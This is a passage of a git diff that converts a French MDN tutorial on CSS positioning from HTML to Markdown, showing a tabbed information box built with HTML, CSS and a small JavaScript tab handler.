[Fundamental Layout Comprehension Assessment](/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension) diff --git a/files/fr/learn/css/css_layout/practical_positioning_examples/index.md b/files/fr/learn/css/css_layout/practical_positioning_examples/index.md index b496e93796..bcdd6003da 100644 --- a/files/fr/learn/css/css_layout/practical_positioning_examples/index.md +++ b/files/fr/learn/css/css_layout/practical_positioning_examples/index.md @@ -4,83 +4,85 @@ slug: Learn/CSS/CSS_layout/Practical_positioning_examples translation_of: Learn/CSS/CSS_layout/Practical_positioning_examples original_slug: Apprendre/CSS/CSS_layout/Exemples_pratiques_de_positionnement --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Cet article illustre comment construire quelques exemples concrets de ce qu'on peut réaliser avec le positionnement.</p> +Cet article illustre comment construire quelques exemples concrets de ce qu'on peut réaliser avec le positionnement. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Les fondamentaux en HTML (étudier <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Une introduction au HTML</a>), et une idée du fonctionnement du CSS (étudier <a href="/fr/docs/Learn/CSS/First_steps">Une introduction à CSS</a>.)</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Avoir une idée des aspects pratiques du positionnement</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Les fondamentaux en HTML (étudier + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Une introduction au HTML</a + >), et une idée du fonctionnement du CSS (étudier + <a href="/fr/docs/Learn/CSS/First_steps">Une introduction à CSS</a>.) + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Avoir une idée des aspects pratiques du positionnement</td> + </tr> + </tbody> </table> -<h2 id="Une_boîte_dinformation_à_onglets">Une boîte d'information à onglets</h2> +## Une boîte d'information à onglets -<p>Le premier exemple que nous allons examiner est une boîte d'information à onglets classique - une méthode courante utilisée lorsqu'on souhaite regrouper beaucoup d'informations dans une petite zone. Cela inclut les applications gourmandes en informations comme les jeux de stratégie/guerre, les versions mobiles de sites web où l'écran est étroit et l'espace limité, et les boîtes d'information compactes où on peut mettre à disposition de nombreuses informations sans qu'elles remplissent toute l'interface utilisateur. Notre exemple ressemblera à ceci une fois que nous aurons terminé :</p> +Le premier exemple que nous allons examiner est une boîte d'information à onglets classique - une méthode courante utilisée lorsqu'on souhaite regrouper beaucoup d'informations dans une petite zone. Cela inclut les applications gourmandes en informations comme les jeux de stratégie/guerre, les versions mobiles de sites web où l'écran est étroit et l'espace limité, et les boîtes d'information compactes où on peut mettre à disposition de nombreuses informations sans qu'elles remplissent toute l'interface utilisateur. Notre exemple ressemblera à ceci une fois que nous aurons terminé : -<p><img alt="" src="tabbed-info-box.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Vous pouvez voir l'exemple fini en démonstration sur la page <a href="https://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">info-box.html</a> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">code source</a>). N'hésitez pas à le consulter pour avoir une idée du résultat que vous allez construire.</p> -</div> +> **Note :** Vous pouvez voir l'exemple fini en démonstration sur la page [info-box.html](https://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html) ([code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html)). N'hésitez pas à le consulter pour avoir une idée du résultat que vous allez construire. -<p>On pourrait se demander : « pourquoi ne pas créer des onglets séparés sous forme de pages web séparées, et faire en sorte que ces onglets permettent de cliquer sur les pages séparées pour créer cet effet ? ». Ce code serait en effet plus simple, mais dans ce cas, chaque « page » séparée serait en fait une nouvelle page web, ce qui rendrait plus difficile la sauvegarde des informations entre les vues, et intégrerait cette fonctionnalité dans un design d'interface plus large. De plus, les applications dites « à page unique » (<i lang="en">Single Page Apps</i>) deviennent très populaires, en particulier pour les interfaces web mobiles, parce que le fait que tout soit servi dans un seul fichier réduit le nombre de requêtes HTTP nécessaires pour voir tout le contenu, ce qui améliore les performances.</p> +On pourrait se demander : « pourquoi ne pas créer des onglets séparés sous forme de pages web séparées, et faire en sorte que ces onglets permettent de cliquer sur les pages séparées pour créer cet effet ? ». Ce code serait en effet plus simple, mais dans ce cas, chaque « page » séparée serait en fait une nouvelle page web, ce qui rendrait plus difficile la sauvegarde des informations entre les vues, et intégrerait cette fonctionnalité dans un design d'interface plus large. De plus, les applications dites « à page unique » (<i lang="en">Single Page Apps</i>) deviennent très populaires, en particulier pour les interfaces web mobiles, parce que le fait que tout soit servi dans un seul fichier réduit le nombre de requêtes HTTP nécessaires pour voir tout le contenu, ce qui améliore les performances. -<div class="note"> -<p><strong>Note :</strong> Il arrive même que pour certains sites, ce soit une seule page qui soit chargée et que son contenu soit modifié dynamiquement grâce à des fonctionnalités JavaScript telles que <a href="/fr/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>. Pour le moment, nous garderons des choses simples. Il y aura un peu de JavaScript en fin d'article, mais la juste dose nécessaire pour faire fonctionner cet exemple.</p> -</div> +> **Note :** Il arrive même que pour certains sites, ce soit une seule page qui soit chargée et que son contenu soit modifié dynamiquement grâce à des fonctionnalités JavaScript telles que [XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest). Pour le moment, nous garderons des choses simples. Il y aura un peu de JavaScript en fin d'article, mais la juste dose nécessaire pour faire fonctionner cet exemple. -<p>Pour commencer, effectuez une copie locale du fichier HTML de départ — <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box-start.html">info-box-start.html</a>. Enregistrez ce fichier dans un endroit approprié sur votre ordinateur et ouvrez-le dans votre éditeur de texte. Examinons le HTML contenu dans le corps de cette page :</p> +Pour commencer, effectuez une copie locale du fichier HTML de départ — [info-box-start.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box-start.html). Enregistrez ce fichier dans un endroit approprié sur votre ordinateur et ouvrez-le dans votre éditeur de texte. Examinons le HTML contenu dans le corps de cette page : -<pre class="brush: html"> -<section class="info-box"> - <ul> - <li><a href="#" class="active">Onglet 1</a></li> - <li><a href="#">Onglet 2</a></li> - <li><a href="#">Onglet 3</a></li> - </ul> - <div class="panels"> - <article class="active-panel"> - <h2>Premier onglet</h2> +```html +<section class="info-box"> + <ul> + <li><a href="#" class="active">Onglet 1</a></li> + <li><a href="#">Onglet 2</a></li> + <li><a href="#">Onglet 3</a></li> + </ul> + <div class="panels"> + <article class="active-panel"> + <h2>Premier onglet</h2> - <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. Vestibulum et orci scelerisque, vulputate tellus quis, lobortis dui. Vivamus varius libero at ipsum mattis efficitur ut nec nisl. Nullam eget tincidunt metus. Donec ultrices, urna maximus consequat aliquet, dui neque eleifend lorem, a auctor libero turpis at sem. Aliquam ut porttitor urna. Nulla facilisi.</p> - </article> - <article> - <h2>Deuxième onglet</h2> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. Vestibulum et orci scelerisque, vulputate tellus quis, lobortis dui. Vivamus varius libero at ipsum mattis efficitur ut nec nisl. Nullam eget tincidunt metus. Donec ultrices, urna maximus consequat aliquet, dui neque eleifend lorem, a auctor libero turpis at sem. Aliquam ut porttitor urna. Nulla facilisi.</p> + </article> + <article> + <h2>Deuxième onglet</h2> - <p>Cet onglet ne contient pas de Lorem Ipsum, mais bon c'est aussi peu intéressant que les autres onglets.</p> - </article> - <article> - <h2>Troisième onglet</h2> + <p>Cet onglet ne contient pas de Lorem Ipsum, mais bon c'est aussi peu intéressant que les autres onglets.</p> + </article> + <article> + <h2>Troisième onglet</h2> - <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. Et voici une liste ordonnée !</p> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. Et voici une liste ordonnée !</p> - <ol> - <li>dui neque eleifend lorem, a auctor libero turpis at sem.</li> - <li>Aliquam ut porttitor urna.</li> - <li>Nulla facilisi</li> - </ol> - </article> - </div> -</section> -</pre> + <ol> + <li>dui neque eleifend lorem, a auctor libero turpis at sem.</li> + <li>Aliquam ut porttitor urna.</li> + <li>Nulla facilisi</li> + </ol> + </article> + </div> +</section> +``` -<p>Nous avons un élément <a href="/fr/docs/Web/HTML/Element/section"><code><section></code></a> avec une <code>class</code> <code>info-box</code>, qui contient un élément <a href="/fr/docs/Web/HTML/Element/ul"><code><ul></code></a> et un élément <a href="/fr/docs/Web/HTML/Element/div"><code><div></code></a>. La liste non ordonnée contient trois éléments de liste avec des liens à l'intérieur, qui deviendront les véritables onglets sur lesquels il faudra cliquer pour afficher nos panneaux de contenu. L'élément <code>div</code> contient trois éléments <a href="/fr/docs/Web/HTML/Element/article"><code><article></code></a>, qui constitueront les panneaux de contenu correspondant à chaque onglet. Chaque panneau contient un échantillon de contenu.</p> +Nous avons un élément [`<section>`](/fr/docs/Web/HTML/Element/section) avec une `class` `info-box`, qui contient un élément [`<ul>`](/fr/docs/Web/HTML/Element/ul) et un élément [`<div>`](/fr/docs/Web/HTML/Element/div). La liste non ordonnée contient trois éléments de liste avec des liens à l'intérieur, qui deviendront les véritables onglets sur lesquels il faudra cliquer pour afficher nos panneaux de contenu. L'élément `div` contient trois éléments [`<article>`](/fr/docs/Web/HTML/Element/article), qui constitueront les panneaux de contenu correspondant à chaque onglet. Chaque panneau contient un échantillon de contenu. -<p>L'idée ici est que nous allons donner aux onglets l'aspect d'un menu de navigation horizontal standard, et que nous allons donner aux panneaux l'aspect d'être superposés en utilisant un positionnement absolu. Nous vous donnerons également un peu de JavaScript à inclure dans votre page pour afficher le panneau correspondant lorsqu'on clique sur un des onglets, et nous donnerons un style à l'onglet lui-même. Vous n'aurez pas besoin de comprendre le JavaScript lui-même à ce stade, mais vous devriez penser à apprendre <a href="/fr/docs/Learn/Getting_started_with_the_web/JavaScript_basics">quelques bases de JavaScript</a> dès que possible - plus les fonctionnalités de votre interface utilisateur deviendront complexes, plus il est probable que vous aurez besoin de JavaScript pour implémenter les fonctionnalités souhaitées.</p> +L'idée ici est que nous allons donner aux onglets l'aspect d'un menu de navigation horizontal standard, et que nous allons donner aux panneaux l'aspect d'être superposés en utilisant un positionnement absolu. Nous vous donnerons également un peu de JavaScript à inclure dans votre page pour afficher le panneau correspondant lorsqu'on clique sur un des onglets, et nous donnerons un style à l'onglet lui-même. Vous n'aurez pas besoin de comprendre le JavaScript lui-même à ce stade, mais vous devriez penser à apprendre [quelques bases de JavaScript](/fr/docs/Learn/Getting_started_with_the_web/JavaScript_basics) dès que possible - plus les fonctionnalités de votre interface utilisateur deviendront complexes, plus il est probable que vous aurez besoin de JavaScript pour implémenter les fonctionnalités souhaitées. -<h3 id="Configuration_générale">Configuration générale</h3> +### Configuration générale -<p>Pour commencer, ajoutez ce qui suit entre les balises ouvrantes et fermantes <a href="/fr/docs/Web/HTML/Element/style"><code><style></code></a> :</p> +Pour commencer, ajoutez ce qui suit entre les balises ouvrantes et fermantes [`<style>`](/fr/docs/Web/HTML/Element/style) : -<pre class="brush: css"> +```css html { font-family: sans-serif; } @@ -92,41 +94,40 @@ html { body { margin: 0; } -</pre> +``` -<p>Il s'agit uniquement d'une configuration générale pour définir une police sans serif sur notre page, utiliser le modèle <code>border-box</code> <a href="/fr/docs/Web/CSS/box-sizing"><code>box-sizing</code></a>, pour surcharger la marge par défaut de <a href="/fr/docs/Web/HTML/Element/body"><code><body></code></a>.</p> +Il s'agit uniquement d'une configuration générale pour définir une police sans serif sur notre page, utiliser le modèle `border-box` [`box-sizing`](/fr/docs/Web/CSS/box-sizing), pour surcharger la marge par défaut de [`<body>`](/fr/docs/Web/HTML/Element/body). -<p>Ensuite, ajoutez ce qui suit en dessous de votre CSS précédent :</p> +Ensuite, ajoutez ce qui suit en dessous de votre CSS précédent : -<pre class="brush: css"> +```css .info-box { width: 450px; height: 400px; margin: 0 auto; } -</pre> +``` -<p>Cela définit une largeur et une hauteur spécifiques sur le contenu, et le centre sur l'écran en utilisant l'ancienne astuce <code>margin: 0 auto</code>. Précédemment dans le cours, nous avons déconseillé de définir une hauteur fixe sur les conteneurs de contenu si possible. Nous dérogeons à cette règle ici, car nous avons un contenu fixe dans les onglets. De plus, il serait déconcertant d'avoir des onglets différents avec différentes hauteurs.</p> +Cela définit une largeur et une hauteur spécifiques sur le contenu, et le centre sur l'écran en utilisant l'ancienne astuce `margin: 0 auto`. Précédemment dans le cours, nous avons déconseillé de définir une hauteur fixe sur les conteneurs de contenu si possible. Nous dérogeons à cette règle ici, car nous avons un contenu fixe dans les onglets. De plus, il serait déconcertant d'avoir des onglets différents avec différentes hauteurs. -<h3 id="Mettre_en_forme_les_onglets">Mettre en forme les onglets</h3> +### Mettre en forme les onglets -<p>On souhaite que nos onglets ressemblent à des onglets. Autrement dit, on veut avoir un menu de navigation horizontal et, au lieu d'avoir différentes pages web depuis ce menu, obtenir l'affichage des différents panneaux sur la même page. Pour commencer, ajoutez la règle à la fin de votre CSS afin de retirer les valeurs par défaut de <a href="/fr/docs/Web/CSS/padding-left"><code>padding-left</code></a> et <a href="/fr/docs/Web/CSS/margin-top"><code>margin-top</code></a> pour la liste non-ordonnée :</p> +On souhaite que nos onglets ressemblent à des onglets. Autrement dit, on veut avoir un menu de navigation horizontal et, au lieu d'avoir différentes pages web depuis ce menu, obtenir l'affichage des différents panneaux sur la même page. Pour commencer, ajoutez la règle à la fin de votre CSS afin de retirer les valeurs par défaut de [`padding-left`](/fr/docs/Web/CSS/padding-left) et [`margin-top`](/fr/docs/Web/CSS/margin-top) pour la liste non-ordonnée : -<pre class="brush: css"> +```css .info-box ul { padding-left: 0; margin-top: 0; -}</pre> +} +``` -<div class="note"> - <p><strong>Note :</strong> On utilise ici un sélecteur de descendants avec <code>.info-box</code> au début du sélecteur et pour tout cet exemple afin qu'on puisse insérer cette fonctionnalité dans une page possédant déjà un autre contenu, sans risquer de causer des interférences avec le style déjà existant.</p> -</div> +> **Note :** On utilise ici un sélecteur de descendants avec `.info-box` au début du sélecteur et pour tout cet exemple afin qu'on puisse insérer cette fonctionnalité dans une page possédant déjà un autre contenu, sans risquer de causer des interférences avec le style déjà existant. -<p>Ensuite, mettons en forme les onglets horizontaux. Les éléments de la liste ont un flottement à gauche afin qu'ils soient sur une même ligne. Leur propriété <a href="/fr/docs/Web/CSS/list-style-type"><code>list-style-type</code></a> est placée à <code>none</code> afin de ne plus avoir les puces et <a href="/fr/docs/Web/CSS/width"><code>width</code></a> vaut <code>150px</code> afin qu'il y ait suffisamment de place au sein de la boîte pour afficher ces éléments. Les éléments <a href="/fr/docs/Web/HTML/Element/a"><code><a></code></a> ont <a href="/fr/docs/Web/CSS/display"><code>display</code></a> avec la valeur <code>inline-block</code> afin qu'ils s'inscrivent dans une ligne mais qu'ils puissent tout de même être mis en forme pour des boutons d'onglet en utilisant d'autres propriétés.</p> +Ensuite, mettons en forme les onglets horizontaux. Les éléments de la liste ont un flottement à gauche afin qu'ils soient sur une même ligne. Leur propriété [`list-style-type`](/fr/docs/Web/CSS/list-style-type) est placée à `none` afin de ne plus avoir les puces et [`width`](/fr/docs/Web/CSS/width) vaut `150px` afin qu'il y ait suffisamment de place au sein de la boîte pour afficher ces éléments. Les éléments [`<a>`](/fr/docs/Web/HTML/Element/a) ont [`display`](/fr/docs/Web/CSS/display) avec la valeur `inline-block` afin qu'ils s'inscrivent dans une ligne mais qu'ils puissent tout de même être mis en forme pour des boutons d'onglet en utilisant d'autres propriétés. -<p>Ajoutez le fragment de CSS qui suit :</p> +Ajoutez le fragment de CSS qui suit : -<pre class="brush: css"> +```css .info-box li { float: left; list-style-type: none; @@ -142,11 +143,11 @@ body { color: black; text-align: center; } -</pre> +``` -<p>Pour finir avec cette section, mettons en forme les liens selon leur état. Toute d'abord, gérons les états <code>:focus</code> et <code>:hover</code> afin que les onglets aient un aspect différent lorsqu'ils ont le focus ou qu'on les survole afin que la personne qui utilise le site ait un retour visuel. Deuxièmement, ajoutons une règle qui applique la même mise en forme lorsqu'un attribut <code>class</code> avec la valeur <code>active</code> est présent dessus. Nous appliquerons cette valeur à l'aide de JavaScript lorsqu'un clic aura lieu sur l'onglet. Ajoutez le CSS qui suit après les autres règles déjà écrites :</p> +Pour finir avec cette section, mettons en forme les liens selon leur état. Toute d'abord, gérons les états `:focus` et `:hover` afin que les onglets aient un aspect différent lorsqu'ils ont le focus ou qu'on les survole afin que la personne qui utilise le site ait un retour visuel. Deuxièmement, ajoutons une règle qui applique la même mise en forme lorsqu'un attribut `class` avec la valeur `active` est présent dessus. Nous appliquerons cette valeur à l'aide de JavaScript lorsqu'un clic aura lieu sur l'onglet. Ajoutez le CSS qui suit après les autres règles déjà écrites : -<pre class="brush: css"> +```css .info-box li a:focus, .info-box li a:hover { background-color: #a60000; color: white; @@ -156,27 +157,27 @@ body { background-color: #a60000; color: white; } -</pre> +``` -<h3 id="Mettre_en_forme_les_panneaux">Mettre en forme les panneaux</h3> +### Mettre en forme les panneaux -<p>La suite consiste à mettre en forme les panneaux de contenu. Allons-y !</p> +La suite consiste à mettre en forme les panneaux de contenu. Allons-y ! -<p>Pour commencer, ajoutez la règle suivante qui met en forme le conteneur <code>.panels</code> <a href="/fr/docs/Web/HTML/Element/div"><code><div></code></a>. Ici, on définit une hauteur fixe avec <a href="/fr/docs/Web/CSS/height"><code>height</code></a> afin de s'assurer que les panneaux s'inscriront correctement dans la boîte d'informations. On définit <a href="/fr/docs/Web/CSS/position"><code>position</code></a> <code>relative</code> sur l'élément <a href="/fr/docs/Web/HTML/Element/div"><code><div></code></a> comme contexte de positionnement afin que les éléments enfants y soient relatifs (plutôt que relatifs à l'élément <a href="/fr/docs/Web/HTML/Element/html"><code><html></code></a>) pour la mise en forme. Enfin, on utilise <a href="/fr/docs/Web/CSS/clear"><code>clear</code></a> pour annuler le flottement défini plus haut afin qu'il n'y ait pas d'interférence avec le reste de la disposition.</p> +Pour commencer, ajoutez la règle suivante qui met en forme le conteneur `.panels` [`<div>`](/fr/docs/Web/HTML/Element/div). Ici, on définit une hauteur fixe avec [`height`](/fr/docs/Web/CSS/height) afin de s'assurer que les panneaux s'inscriront correctement dans la boîte d'informations. On définit [`position`](/fr/docs/Web/CSS/position) `relative` sur l'élément [`<div>`](/fr/docs/Web/HTML/Element/div) comme contexte de positionnement afin que les éléments enfants y soient relatifs (plutôt que relatifs à l'élément [`<html>`](/fr/docs/Web/HTML/Element/html)) pour la mise en forme. Enfin, on utilise [`clear`](/fr/docs/Web/CSS/clear) pour annuler le flottement défini plus haut afin qu'il n'y ait pas d'interférence avec le reste de la disposition. -<pre class="brush: css"> +```css .info-box .panels { height: 352px; position: relative; clear: both; } -</pre> +``` -<p>Dans cette section, nous allons mettre en forme les éléments <a href="/fr/docs/Web/HTML/Element/article"><code><article></code></a> qui forment les panneaux. La première règle va fixer <a href="/fr/docs/Web/CSS/position"><code>position</code></a> absolue pour les panneaux avant de les placer dans le coin supérieur gauche de leur conteneur <a href="/fr/docs/Web/HTML/Element/div"><code><div></code></a> avec <a href="/fr/docs/Web/CSS/top"><code>top</code></a> et <a href="/fr/docs/Web/CSS/left"><code>left</code></a>. C'est la clé de cette disposition : ainsi, les panneaux sont superposés les uns sur les autres. Cette règle fournit également la même hauteur que le conteneur et ajoute un peu de remplissage autour du contenu, une couleur pour le texte (<a href="/fr/docs/Web/CSS/color"><code>color</code></a>), ainsi qu'une couleur d'arrière-plan (<a href="/fr/docs/Web/CSS/background-color"><code>background-color</code></a>).</p> +Dans cette section, nous allons mettre en forme les éléments [`<article>`](/fr/docs/Web/HTML/Element/article) qui forment les panneaux. La première règle va fixer [`position`](/fr/docs/Web/CSS/position) absolue pour les panneaux avant de les placer dans le coin supérieur gauche de leur conteneur [`<div>`](/fr/docs/Web/HTML/Element/div) avec [`top`](/fr/docs/Web/CSS/top) et [`left`](/fr/docs/Web/CSS/left). C'est la clé de cette disposition : ainsi, les panneaux sont superposés les uns sur les autres. Cette règle fournit également la même hauteur que le conteneur et ajoute un peu de remplissage autour du contenu, une couleur pour le texte ([`color`](/fr/docs/Web/CSS/color)), ainsi qu'une couleur d'arrière-plan ([`background-color`](/fr/docs/Web/CSS/background-color)). -<p>La deuxième règle ajoutée indique qu'un panneau avec une classe (<code>class</code>) valant <code>active-panel</code> aura une valeur de <a href="/fr/docs/Web/CSS/z-index"><code>z-index</code></a> à 1 : il sera alors placé par-dessus les autres panneaux (par défaut les éléments positionnés ont un <code>z-index</code> qui vaut 0, ce qui les place en dessous). Là aussi, nous ajouterons cette classe au document à l'aide de JavaScript.</p> +La deuxième règle ajoutée indique qu'un panneau avec une classe (`class`) valant `active-panel` aura une valeur de [`z-index`](/fr/docs/Web/CSS/z-index) à 1 : il sera alors placé par-dessus les autres panneaux (par défaut les éléments positionnés ont un `z-index` qui vaut 0, ce qui les place en dessous). Là aussi, nous ajouterons cette classe au document à l'aide de JavaScript. -<pre class="brush: css"> +```css .info-box article { position: absolute; top: 0; @@ -190,109 +191,101 @@ body { .info-box .active-panel { z-index: 1; } -</pre> +``` -<h3 id="Ajouter_notre_JavaScript">Ajouter notre JavaScript</h3> +### Ajouter notre JavaScript -<p>La dernière étape permettant d'avoir un résultat fonctionnel consiste à ajouter du JavaScript. Placez les lignes suivantes (sans modification) entre les balises ouvrantes et fermantes <a href="/fr/docs/Web/HTML/Element/script"><code><script></code></a> (elles se situent après le contenu HTML) :</p> +La dernière étape permettant d'avoir un résultat fonctionnel consiste à ajouter du JavaScript. Placez les lignes suivantes (sans modification) entre les balises ouvrantes et fermantes [`<script>`](/fr/docs/Web/HTML/Element/script) (elles se situent après le contenu HTML) : -<pre class="brush: js"> +```js let tabs = document.querySelectorAll('.info-box li a'); let panels = document.querySelectorAll('.info-box article'); -for(let i = 0; i < tabs.length; i++) { +for(let i = 0; i < tabs.length; i++) { let tab = tabs[i]; setTabHandler(tab, i); } function setTabHandler(tab, tabPos) { tab.onclick = function() { - for(let i = 0; i < tabs.length; i++) { + for(let i = 0; i < tabs.length; i++) { tabs[i].className = ''; } tab.className = 'active'; - for(let i = 0; i < panels.length; i++) { + for(let i = 0; i < panels.length; i++) { panels[i].className = ''; } panels[tabPos].className = 'active-panel'; } } -</pre> +``` -<p>Ce code effectue les actions suivantes :</p> +Ce code effectue les actions suivantes : -<ul> - <li>Tout d'abord, on garde une référence pour tous les onglets et tous les panneaux dans deux variables intitulées <code>tabs</code> et <code>panels</code> afin qu'on puisse facilement les manipuler par la suite.</li> - <li>Ensuite, on utilise une boucle <code>for</code> pour parcourir l'ensemble des onglets et, pour chaque, on exécute une fonction intitulée <code>setTabHandler()</code> qui met en place les fonctionnalités à utiliser lors d'un clic. Lorsque cette fonction est exécutée, elle reçoit une référence de l'onglet concerné ainsi qu'un indice <code>i</code> qui identifie la position de l'onglet dans le tableau <code>tabs</code>.</li> - <li>Dans la fonction <code>setTabHandler()</code>, l'onglet se voit affecter un gestionnaire d'évènement <code>onclick</code>. Ainsi dès qu'on clique sur un onglet, on a : - <ul> - <li>Une boucle <code>for</code> qui est utilisée afin de parcourir tous les onglets pour retirer les classes qui seraient présentes sur eux.</li> - <li>Une classe (<code>class</code>) <code>active</code> qui est appliquée sur l'onglet sur lequel on a cliqué (nous avons vu plus haut que cette classe était associée à une règle CSS qui définit <a href="/fr/docs/Web/CSS/color"><code>color</code></a> et <a href="/fr/docs/Web/CSS/background-color"><code>background-color</code></a> sur l'onglet afin que celles-ci correspondent aux couleurs du panneau.</li> - <li>Une boucle <code>for</code> qui parcourt tous les panneaux afin de retirer toute classe qui serait présente sur eux.</li> - <li>Une classe <code>active-panel</code> qui est appliquée sur le panneau correspondant à l'onglet. Cela permet d'appliquer la règle CSS vue plus haut qui définit <a href="/fr/docs/Web/CSS/z-index"><code>z-index</code></a> à 1, afin de faire apparaître ce panneau par-dessus les autres.</li> - </ul> - </li> -</ul> +- Tout d'abord, on garde une référence pour tous les onglets et tous les panneaux dans deux variables intitulées `tabs` et `panels` afin qu'on puisse facilement les manipuler par la suite. +- Ensuite, on utilise une boucle `for` pour parcourir l'ensemble des onglets et, pour chaque, on exécute une fonction intitulée `setTabHandler()` qui met en place les fonctionnalités à utiliser lors d'un clic. Lorsque cette fonction est exécutée, elle reçoit une référence de l'onglet concerné ainsi qu'un indice `i` qui identifie la position de l'onglet dans le tableau `tabs`. +- Dans la fonction `setTabHandler()`, l'onglet se voit affecter un gestionnaire d'évènement `onclick`. Ainsi dès qu'on clique sur un onglet, on a : + + - Une boucle `for` qui est utilisée afin de parcourir tous les onglets pour retirer les classes qui seraient présentes sur eux. + - Une classe (`class`) `active` qui est appliquée sur l'onglet sur lequel on a cliqué (nous avons vu plus haut que cette classe était associée à une règle CSS qui définit [`color`](/fr/docs/Web/CSS/color) et [`background-color`](/fr/docs/Web/CSS/background-color) sur l'onglet afin que celles-ci correspondent aux couleurs du panneau. + - Une boucle `for` qui parcourt tous les panneaux afin de retirer toute classe qui serait présente sur eux. + - Une classe `active-panel` qui est appliquée sur le panneau correspondant à l'onglet. Cela permet d'appliquer la règle CSS vue plus haut qui définit [`z-index`](/fr/docs/Web/CSS/z-index) à 1, afin de faire apparaître ce panneau par-dessus les autres. -<p>Et voilà pour le premier exemple. Gardez le code actuel sous la main, nous allons le modifier pour construire le deuxième exemple.</p> +Et voilà pour le premier exemple. Gardez le code actuel sous la main, nous allons le modifier pour construire le deuxième exemple. -<h2 id="Une_boîte_d'information_à_onglets_avec_une_position_fixe">Une boîte d'information à onglets avec une position fixe</h2> +## Une boîte d'information à onglets avec une position fixe -<p>Dans ce deuxième exemple, nous repartirons du premier exemple (notre boîte d'information à onglets) et nous l'ajouterons dans le contexte d'une page web complète. De plus, nous l'ajouterons avec une position fixe afin qu'elle reste à la même position dans la fenêtre du navigateur. Ainsi, quand le contenu principal défilera, la boîte d'information restera au même endroit à l'écran. Le résultat final ressemblera à :</p> +Dans ce deuxième exemple, nous repartirons du premier exemple (notre boîte d'information à onglets) et nous l'ajouterons dans le contexte d'une page web complète. De plus, nous l'ajouterons avec une position fixe afin qu'elle reste à la même position dans la fenêtre du navigateur. Ainsi, quand le contenu principal défilera, la boîte d'information restera au même endroit à l'écran. Le résultat final ressemblera à : -<p><img alt="" src="fixed-info-box.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Vous pouvez voir l'exemple fini en démonstration sur la page <a href="https://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/fixed-info-box.html">fixed-info-box.html</a> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/fixed-info-box.html">code source</a>). N'hésitez pas à le consulter pour avoir une idée du résultat que vous allez construire.</p> -</div> +> **Note :** Vous pouvez voir l'exemple fini en démonstration sur la page [fixed-info-box.html](https://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/fixed-info-box.html) ([code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/fixed-info-box.html)). N'hésitez pas à le consulter pour avoir une idée du résultat que vous allez construire. -<p>Comme point de départ, vous pouvez utiliser l'exemple construit dans la première section de cet article ou enregistrer sur votre ordinateur le fichier <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">info-box.html</a> depuis le dépôt GitHub.</p> +Comme point de départ, vous pouvez utiliser l'exemple construit dans la première section de cet article ou enregistrer sur votre ordinateur le fichier [info-box.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html) depuis le dépôt GitHub. -<h3 id="Ajouts_au_HTML">Ajouts au HTML</h3> +### Ajouts au HTML -<p>Tout d'abord, il nous faut compléter le HTML afin de représenter le contenu principal du site web. Ajoutez la section (<a href="/fr/docs/Web/HTML/Element/section"><code><section></code></a>) suivante juste après la balise ouvrante <a href="/fr/docs/Web/HTML/Element/body"><code><body></code></a> et avant la section existante :</p> +Tout d'abord, il nous faut compléter le HTML afin de représenter le contenu principal du site web. Ajoutez la section ([`<section>`](/fr/docs/Web/HTML/Element/section)) suivante juste après la balise ouvrante [`<body>`](/fr/docs/Web/HTML/Element/body) et avant la section existante : -<pre class="brush: html"> -<section class="fake-content"> - <h1>Faux contenu</h1> - <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> - <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> - <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> - <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> - <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> - <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> - <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> - <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> -</section> -</pre> +```html +<section class="fake-content"> + <h1>Faux contenu</h1> + <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> + <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> + <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> + <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> + <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> + <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> + <p>Du contenu imaginaire. Le 